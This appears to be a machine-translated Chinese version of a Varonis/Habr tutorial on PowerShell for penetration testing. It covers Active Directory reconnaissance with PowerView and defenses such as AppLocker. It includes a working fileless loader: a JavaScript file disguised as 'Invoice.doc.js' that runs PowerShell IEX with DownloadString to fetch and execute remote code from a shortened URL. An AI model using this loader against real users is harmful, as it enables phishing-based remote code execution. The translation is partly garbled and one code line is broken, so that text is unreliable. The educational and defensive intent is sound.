PowerShell作为Pentest工具:Varonis脚本和示例



黑客喜欢使用PowerShell运行“无文件恶意软件”,这是非传统的二进制恶意软件,没有经过编译的恶意代码,因此防病毒解决方案有时无法检测到这种恶意软件。

当然,PowerShell始终具有完全正常的用途,起初与渗透测试完全无关。 那些想了解PowerShell的背景的人应该阅读著名的Monad Manifesto 。 该宣言由一位原始开发人员撰写,解释了为什么Microsoft需要一种新的脚本语言(换句话说,脚本),最终将其变成PowerShell。

为了避免查看冗长的17页文档的麻烦,我向您介绍了促使PowerShell作者使用的主要动机:应该使系统管理员可以从命令行访问.Net对象,从而可以在系统级别(而不是在系统级别)自动化工作流在C#或C ++的深度编程级别。

如果您想获得有关PowerShell(以下称为PS)有效性的真实证据,请询问系统管理员,他们如何将用户大量添加到Active Directory或执行快速安全设置。 您很可能会了解PowerShell解决方案 。 简而言之:PS是减少日常工作并提高管理员工作效率的好方法。

为什么要使用PowerShell进行渗透测试?


不幸的是,非常适合管理员使用的功能强大的自动化工具最终对黑客和渗透测试人员都非常有用。

假设IT管理员的任务是弄清楚谁真正使用了负载不足的服务器。 使用PowerShell和高级功能的PowerView库,系统管理员可以快速查看登录到服务器的用户,而无需登录到该服务器本身:



但是,以前通过网络钓鱼攻击获得访问权限的网络罪犯也可以这样做, 它们在Active Directory域(以下称为AD)中可以使用相同的功能。 而且不一定会检测到它们的活动:监视应用程序使用的信息安全分析师可能会得出结论,由于它只是PowerShell,因此必须无害

为了进一步加剧此示例,黑客甚至可以使用Get-NetUser命令获取有关单个用户的所有详细信息,该命令将在AD中转储所有用户属性:



不幸的是,公司有时会忽略所有员工公开的广告属性,例如家庭或移动电话,地址等。 在使用PowerShell之前,要从AD收集所有这些数据要困难得多,但是这种情况已经很长时间了!

攻击者可以利用此信息做什么? 他们可以轻松利用社交工程方法并为此发动攻击:也许通过发送
具有从AD属性派生的足够个人上下文的电子邮件,看起来像是合法的支持请求,要求您“重置密码”。

顺便说一句,您也可以将ACL控件应用于AD属性,因此有一种(!)方式可以降低此类攻击的风险。 这是您从自己的渗透测试经验中可以获得的积极结果之一。



PowerShell Pentester教程


使用PowerShell,攻击者可以谨慎收集内部用户数据,然后在攻击中使用它们。 但是,没有理由为什么IT或信息安全人员也无法学习足够的PowerShell来启动自己的测试并学习理解黑客的思维方式和动机。

关于PowerShell的第一件事是,您从cmd.exe命令行运行的所有旧脚本和bat文件仍可在PowerShell控制台中运行。 已经不错了,是吗?

下一个重要的一点是,与类似Linux的外壳程序不同,PowerShell将所有内容都视为一个对象 。 甚至命令的输出(仅考虑)也是一个对象。

例如,在控制台中输入Get-ChildItem命令(或以另一种方式使用cmdlet,因为在PS世界中称为命令),您将在当前目录中看到文件列表:



PowerShell编码


假设您要编写一个PS脚本,其中仅显示大于10 MB的文件-例如,以快速检查哪些文件占用了大量空间。 在bash shell的字符串输出中,解决此任务将更加困难。 但是,在PowerShell中,任何命令的输出本身就是具有一组attribute的对象。

为此,只需将GetChildItem输出传递给Get-Member ,它将告诉您PS cmdlet的属性:



因此,现在我们有了我们感兴趣的两个属性的标识符:长度“ length”和名称“ name”,我们可以通过编程方式引用它们。 5分钟-正常飞行。

为了应对对象有时位于数组或集合中的频繁情况,我们将使用ForEach PS运算符在数组上进行迭代。

为了使事情变得更加容易,别名或别名“%”表示“ ForEach”,而“ $ _”表示当前对象。

使用PowerShell运行命令


根据我们的新知识,让我们从GetChildItem命令获得两个输出列。 下面的示例是带有Get-ChildItem的管道,该管道为ForEach语句提供了内容,该语句仅显示“ length”和“ name”属性的值:

get-childitem | % {write-host $_.length $_.name -separator "`t`t"} 

这是运行命令的结果:



为了完成我们的华丽示例,让我们调整脚本以仅输出大于10MB的大文件。 为此,我们使用带有便利别名“?”的称为Where-Object cmdlet的过滤器,它具有所有常用的比较运算符(-gt,-eq,-lt等),我们将其插入管道的中间位置现在,脚本如下所示:

  get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"} 

作为练习,请尝试在自己的环境中运行上述PS创建。

教程:PowerShell渗透测试示例


凭借对PowerShell的少量了解,我们准备好接受一个非常真实的渗透测试示例。 进入渗透测试的最快方法之一是使用PowerShell隐藏有效负载。 我们在这里写了关于如何做的文章

这个想法是将我们的PowerShell代码隐藏在带有后缀.doc的标准Office文档中。 实际上,该文件将具有扩展名.js,并且在单击该文件时,它将激活Windows脚本启动以运行JavaScript,然后它将启动内置的PowerShell代码。

有点困惑,对吧? 但是,真正的黑客不会使用一种,而是使用多层嵌套和混淆,以便尽可能隐藏和混淆攻击。

引导加载程序和有效负载准备


脚本如下所示:

 a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true); 

您将上面的代码粘贴到文本文件中,并将其重命名为Invoice.doc.js之类的东西 。 上面的JavaScript就像一个加载程序,使用内置的PowerShell NetWebClientInvoke-Expression cmdlet运行,这些cmdlet本身就是“%”的别名。

NetWebClient cmdlet的DownloadString方法远程提取实际的有效负载,最终将为我们完成所有的工作。

您可以插入指向您自己的测试程序的URL。 好吧,Invoke-Expression cmdlet接受恶意文件的代码,然后执行它。

看看吧!


在我的情况下,URL指向一个Github项目,其中包含一个简单的PS Write-Host命令,该命令将对全人类显示无害但重要的信息。 在真正的攻击中,这种情况的文件很可能会附加到网络钓鱼邮件列表中,这将诱使毫无戒心的员工陷入好奇的陷阱。 而且有效载荷将更具破坏性。



您可以在自己的安装上尝试此操作。 如果上述所有方法均能成功完成,那么您还有另外一项紧迫而重要的任务,必须毫无疑问地完成。

渗透测试的好处




这导致我们进行渗透测试的原因。 首先想到的是三个真正的好处:

  1. 通过将PowerShell团队作为一个耗时的团队进行探索,您将了解黑客如何“破解”这种出色的下一代脚本语言。 只要考虑一下DownloadString和Invoke-Expression方法的组合,攻击者就可以将远程恶意代码提取到受害者的站点, 无需在两者之间进行保存。
  2. 此练习还强调了现代黑客的机密性。 我在上面的示例中展示了一种不会留下任何文件的攻击方案。 因此,您不能使用基于标准签名的方法来可靠地检测使用PowerShell执行的攻击。 顺带一提,我们没有恶意软件本身的特征进行比较。
  3. 您可能会开始探索限制 PowerShell和其他基于脚本的方法的方法。 最后,攻击始于脚本,因此,如果公司难以运行脚本,则可以大大降低其风险。

让我详细说明最后一点。 您很可能不想完全禁止PowerShell(或JavaScript),因为这是Windows系统软件的基本组成部分。 幸运的是,Microsoft有一种方法可以通过AppLocker (现代组策略(GPO)中旧软件限制策略的改进版本)有选择地禁用脚本(和其他可执行文件)。

对于技术人员来说,这似乎令人难以置信,但是大多数普通用户不需要PowerShell或其他脚本语言来进行日常工作。 我知道,这当然令人震惊! 例如,可以将AppLocker配置为禁用大众的PowerShell访问,同时允许系统管理员继续辛勤工作。

基于脚本的攻击(包括与电子邮件附件相关的攻击)依靠管理员为员工提供过宽的脚本权限。 而事实并非如此!

Source: https://habr.com/ru/post/zh-CN471420/


All Articles